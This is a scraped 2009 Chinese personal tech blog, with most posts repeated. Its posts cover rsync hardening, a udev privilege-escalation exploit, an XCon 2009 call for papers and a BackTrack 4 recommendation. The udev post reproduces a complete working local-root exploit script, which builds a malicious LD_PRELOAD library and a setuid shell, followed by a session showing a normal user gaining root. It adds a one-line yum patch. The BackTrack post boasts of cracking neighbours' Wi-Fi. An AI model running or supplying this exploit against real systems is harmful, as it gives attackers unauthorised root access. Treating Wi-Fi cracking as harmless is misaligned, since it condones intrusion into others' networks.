rsync的一些更安全的用法
[ 2009/08/17 18:34 | by selboo ]
总的来说,开在873端口之后,只要加上验证口令,安全性就有保障了,但毕竟多开一个端口,而且rsync的密码是明文方式存储的,相对来说,还是有被监听的可能。根据不同的情况采用下述不同方案,相对来说,安全性更高一些
1。如果只是本机备份,不需要启动darmon,直接用
/usr/bin/rsync -vzrtopglq --size-only --progress --delete /data/htdocs /backup
2。如果只是内网中的机器互备,可以让rsync只监听在内网的ip上
启动daemon的时候,用参数 --address 可以让rsync只监听在内网的192.168.0.10这个ip上
rsync --daemon --address 192.168.0.10
3。通过公网备份的话,可以将rsync监听在非873端口,增加安全性
启动daemon的时候,用参数 --port 可以让rsync监听在 非873端口
rsync --daemon --port 1873
4。如果还觉得不够安全,可以不启用daemon,通过ssh做备份,更安全和方便一些
在客户端是用命令
/usr/bin/rsync -vzrtopgl --size-only --progress --delete -e ssh root@www.admin99.net:/usr/local/httpd/htdocs/ /backup/admin99
即可以通过ssh端口来做备份,rsync会调用远端的rsync命令来处理相关操作
如果远端机器的ssh开在非22端口的话,可以通过 -p参数来指定ssh的端口
/usr/bin/rsync -vzrtopgl --size-only --progress --delete -e 'ssh -p1089' root@www.admin99.net:/usr/local/httpd/htdocs/ /backup/admin99
如果不想每次备份都手工输入ssh的密码的话,可以参考这里使用scp、ssh等不用输入密码
1。如果只是本机备份,不需要启动darmon,直接用
/usr/bin/rsync -vzrtopglq --size-only --progress --delete /data/htdocs /backup
2。如果只是内网中的机器互备,可以让rsync只监听在内网的ip上
启动daemon的时候,用参数 --address 可以让rsync只监听在内网的192.168.0.10这个ip上
rsync --daemon --address 192.168.0.10
3。通过公网备份的话,可以将rsync监听在非873端口,增加安全性
启动daemon的时候,用参数 --port 可以让rsync监听在 非873端口
rsync --daemon --port 1873
4。如果还觉得不够安全,可以不启用daemon,通过ssh做备份,更安全和方便一些
在客户端是用命令
/usr/bin/rsync -vzrtopgl --size-only --progress --delete -e ssh root@www.admin99.net:/usr/local/httpd/htdocs/ /backup/admin99
即可以通过ssh端口来做备份,rsync会调用远端的rsync命令来处理相关操作
如果远端机器的ssh开在非22端口的话,可以通过 -p参数来指定ssh的端口
/usr/bin/rsync -vzrtopgl --size-only --progress --delete -e 'ssh -p1089' root@www.admin99.net:/usr/local/httpd/htdocs/ /backup/admin99
如果不想每次备份都手工输入ssh的密码的话,可以参考这里使用scp、ssh等不用输入密码
普通用户通过udev漏洞提升到root权限
[ 2009/06/25 17:30 | by selboo ]
udev权限提示的漏洞,只要有普通用户权限,即可提升到root权限
udev.sh
演示自己看了
修复漏洞
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.16.el5
[selboo@selboo ~]$ yum update udev
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.20.el5_3
udev.sh
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
// execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/stat.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
/tmp/suid
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
// execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/stat.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
// execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
chown("/tmp/suid",0,0);
chmod("/tmp/suid",S_IRUSR|S_IWUSR|S_ISUID|S_IXUSR|S_IROTH|S_IXOTH);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
/tmp/suid
演示自己看了
[selboo@selboo ~]$ id
uid=501(selboo) gid=501(selboo) groups=501(selboo)
[selboo@selboo ~]$ ps -ef |grep udev
root 775 1 0 Jun13 ? 00:00:00 /sbin/udevd -d
selboo 762 31582 0 17:05 pts/1 00:00:00 grep udev
[selboo@selboo ~]$ sh udev.sh 774 # 775-1=774
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2# id
uid=0(root) gid=0(root) groups=501(selboo)
sh-3.2# ls /root/
cnc.txt cnc1.txt installonlyn.py nginx_log.sh rsync.sh whois
sh-3.2#
uid=501(selboo) gid=501(selboo) groups=501(selboo)
[selboo@selboo ~]$ ps -ef |grep udev
root 775 1 0 Jun13 ? 00:00:00 /sbin/udevd -d
selboo 762 31582 0 17:05 pts/1 00:00:00 grep udev
[selboo@selboo ~]$ sh udev.sh 774 # 775-1=774
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
sh-3.2# id
uid=0(root) gid=0(root) groups=501(selboo)
sh-3.2# ls /root/
cnc.txt cnc1.txt installonlyn.py nginx_log.sh rsync.sh whois
sh-3.2#
修复漏洞
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.16.el5
[selboo@selboo ~]$ yum update udev
[selboo@selboo ~]$ rpm -qa |grep udev
udev-095-14.20.el5_3
XCon2009 安全焦点信息安全技术峰会议题征集函
[ 2009/05/14 19:44 | by selboo ]
中国,北京,2009年8月18~19日 (http://xcon.xfocus.net)
XCon 秉承一贯的严谨求实作风竭诚欢迎热爱信息安全技术的人员积极投稿,参加会议,共享精彩盛会。
参加会议对象:
任何热爱信息安全的人士,包括如信息安全专家,信息安全爱好者, 网络
管理工程师,网络安全顾问, CIO,黑客技术发烧友等。
会议地点: 北京歌华开元大酒店 ( http://www.kaiyuanhotels.com/jiudian/beijing_index.asp )
征文范围 (不限于所列方向):
—新领域安全
- Vista 安全 / Windows & 安全
- Web 2.0安全技术
- 3G/4G网络,TD-SCDMA网络安
- 移动手持设备安全 Symbian / IPhone / Android / Windows Mobile 安全
- 银行金融安全
- 企业信息系统安全
- 虚拟化技术
- 最新漏洞挖掘技术
— 应用安全
- Web 应用程序弱点研究
- 应用程序反向工程和相关自动工具
- 数据库安全和攻击
- 协议安全利用
- 高级木马、蠕虫、后门技术
- 加密和破解技术
- 路由器设备安全
— 入侵检测/取证分析
- 文件系统分析和恢复
- 实时结构数据恢复
- 反向工程 (恶意代码分析技术,弱点研究)
- 入侵检测和反检测技术
- 流量分析
— 无线和VoIP 安全
- 802.11x, CDPD, Bluetooth, WAP/TD-SCDMA, GSM, SMS
- PDA 和移动电话协议分析
- Palm, Pocket Pc安全
- Wireless 网关
- VoIP 安全和弱点分析
- WLANs 加固、弱点分析
—P2P 技术
- 即时通信工具(QQ,MSN, Skype, ICQ 等)
- P2P 应用(BT,Emule,迅雷等)
征文提交事宜:
提交的征文必须包含如下信息:
1) 对要作演讲的题材进行简单的描述及说明之前是否发布,发布的范围。
2) 对演讲者自身和工作经历描述。
3) 演讲者联系信息:全名,别名,国籍,网络昵称,e-mail, 电话,传真,
目前工作地点和相关公司,任何即时聊天的方式(QQ,MSN, ICQ, YM, AIM 或者其他).
4) 演讲过程中所需细节:
- 演讲需要多长时间
- 是否发布新的工具
- 是否发布新漏洞
- 是否需要发布新的Exploit 代码
5) 所有征文必须包含PPT(演讲使用)和WORD(细节描述),可以以MS
Office , OpenOffice 格式提交。
所有征文通过cfp@huayongxingan.com提交,供XCon组织者筛选,征文投稿最后截
止日期定于2009年7月10日,最后确认是否收录时间为2009年7月18日,投
稿自收到之日起5个工作日内,将给出准确的答复,无论您的议题是否被收
录,我们都将会通过您留下的联系方式告知您。
征文相关重要日期:
*最后提交日期 – 2009年7月10日
*最后确认通知 – 2009年7月18日
演讲者待遇:
如果您的稿件被我们XCon收录,意味着您将在XCon会议上单独发表演讲,
XCon 将会提供演讲者包含
- 往返程经济舱飞机票,限一人(外宾旅费封顶1200USD)
- 2 天会议期间的酒店住宿费用
- 2 天会议期间的早餐、中餐、及晚餐
- 被邀请参加庆祝酒会
- 并且我们将会组织演讲者在会后的一天游览中国北京的一些名胜古迹,品尝
中国的风味特色食品。
- 可参与抽奖活动
注:
- 演讲者必须提供相关票据或凭证。
- 所有相关会议解释权归XCon会议组织者所有。
关于会议更多信息、细节及咨询,可以联系至信给如下信箱:xcon@xfocus.org,xcon@huayongxingan.com
或专门的XCon2009会议组织者MSN: xfocusxcon@hotmail.com,电话:086-010-62029792
申请参会:
您可以通过XCon网站(http://xcon.xfocus.net)注册或直接联系我们组织者(联系方式见上)申请参
加会议,我们将给根据预定申请时间的早晚提供不同的折扣。参会者食宿自理,XCon将为参会者预定酒店
等服务。
其他信息:
你可以浏览http://xcon.xfocus.org/查看演讲者信息、会议安排、XCon
之前会议的相关文档和信息,任何有关XCon的会议信息,将在XCon和XFocus
站点发布,请大家密切关注。
非常感谢您对XCon 的支持!
XCon 秉承一贯的严谨求实作风竭诚欢迎热爱信息安全技术的人员积极投稿,参加会议,共享精彩盛会。
参加会议对象:
任何热爱信息安全的人士,包括如信息安全专家,信息安全爱好者, 网络
管理工程师,网络安全顾问, CIO,黑客技术发烧友等。
会议地点: 北京歌华开元大酒店 ( http://www.kaiyuanhotels.com/jiudian/beijing_index.asp )
征文范围 (不限于所列方向):
—新领域安全
- Vista 安全 / Windows & 安全
- Web 2.0安全技术
- 3G/4G网络,TD-SCDMA网络安
- 移动手持设备安全 Symbian / IPhone / Android / Windows Mobile 安全
- 银行金融安全
- 企业信息系统安全
- 虚拟化技术
- 最新漏洞挖掘技术
— 应用安全
- Web 应用程序弱点研究
- 应用程序反向工程和相关自动工具
- 数据库安全和攻击
- 协议安全利用
- 高级木马、蠕虫、后门技术
- 加密和破解技术
- 路由器设备安全
— 入侵检测/取证分析
- 文件系统分析和恢复
- 实时结构数据恢复
- 反向工程 (恶意代码分析技术,弱点研究)
- 入侵检测和反检测技术
- 流量分析
— 无线和VoIP 安全
- 802.11x, CDPD, Bluetooth, WAP/TD-SCDMA, GSM, SMS
- PDA 和移动电话协议分析
- Palm, Pocket Pc安全
- Wireless 网关
- VoIP 安全和弱点分析
- WLANs 加固、弱点分析
—P2P 技术
- 即时通信工具(QQ,MSN, Skype, ICQ 等)
- P2P 应用(BT,Emule,迅雷等)
征文提交事宜:
提交的征文必须包含如下信息:
1) 对要作演讲的题材进行简单的描述及说明之前是否发布,发布的范围。
2) 对演讲者自身和工作经历描述。
3) 演讲者联系信息:全名,别名,国籍,网络昵称,e-mail, 电话,传真,
目前工作地点和相关公司,任何即时聊天的方式(QQ,MSN, ICQ, YM, AIM 或者其他).
4) 演讲过程中所需细节:
- 演讲需要多长时间
- 是否发布新的工具
- 是否发布新漏洞
- 是否需要发布新的Exploit 代码
5) 所有征文必须包含PPT(演讲使用)和WORD(细节描述),可以以MS
Office , OpenOffice 格式提交。
所有征文通过cfp@huayongxingan.com提交,供XCon组织者筛选,征文投稿最后截
止日期定于2009年7月10日,最后确认是否收录时间为2009年7月18日,投
稿自收到之日起5个工作日内,将给出准确的答复,无论您的议题是否被收
录,我们都将会通过您留下的联系方式告知您。
征文相关重要日期:
*最后提交日期 – 2009年7月10日
*最后确认通知 – 2009年7月18日
演讲者待遇:
如果您的稿件被我们XCon收录,意味着您将在XCon会议上单独发表演讲,
XCon 将会提供演讲者包含
- 往返程经济舱飞机票,限一人(外宾旅费封顶1200USD)
- 2 天会议期间的酒店住宿费用
- 2 天会议期间的早餐、中餐、及晚餐
- 被邀请参加庆祝酒会
- 并且我们将会组织演讲者在会后的一天游览中国北京的一些名胜古迹,品尝
中国的风味特色食品。
- 可参与抽奖活动
注:
- 演讲者必须提供相关票据或凭证。
- 所有相关会议解释权归XCon会议组织者所有。
关于会议更多信息、细节及咨询,可以联系至信给如下信箱:xcon@xfocus.org,xcon@huayongxingan.com
或专门的XCon2009会议组织者MSN: xfocusxcon@hotmail.com,电话:086-010-62029792
申请参会:
您可以通过XCon网站(http://xcon.xfocus.net)注册或直接联系我们组织者(联系方式见上)申请参
加会议,我们将给根据预定申请时间的早晚提供不同的折扣。参会者食宿自理,XCon将为参会者预定酒店
等服务。
其他信息:
你可以浏览http://xcon.xfocus.org/查看演讲者信息、会议安排、XCon
之前会议的相关文档和信息,任何有关XCon的会议信息,将在XCon和XFocus
站点发布,请大家密切关注。
非常感谢您对XCon 的支持!
Linux最强渗透检测发行版
[ 2009/05/02 20:59 | by selboo ]
看到系统界面里 用中文繁体写就的 “龙” 字,倍觉亲切吧 呵呵
喜欢研究安全技术的linux fans不容错过!
最新发行版已经到 BackTrack 4 beta release
1DVD 854 MB 同时又集成众多老的安全工具和最近最新的安全工具
其同时也是无线网络破解集成工具箱!非常适合蹭网族,呵呵
最近拿来蹭办公楼附近的无线资源,甚觉强悍!
发此文,以推荐linux安全爱好者
最新版下载地址:
http://backtrack.unixheads.org/bt4-beta.iso
vmware镜像:
http://backtrack.unixheads.org/bt4-beta-vm-6.5.1.rar
喜欢研究安全技术的linux fans不容错过!
最新发行版已经到 BackTrack 4 beta release
1DVD 854 MB 同时又集成众多老的安全工具和最近最新的安全工具
其同时也是无线网络破解集成工具箱!非常适合蹭网族,呵呵
最近拿来蹭办公楼附近的无线资源,甚觉强悍!
发此文,以推荐linux安全爱好者
最新版下载地址:
http://backtrack.unixheads.org/bt4-beta.iso
vmware镜像:
http://backtrack.unixheads.org/bt4-beta-vm-6.5.1.rar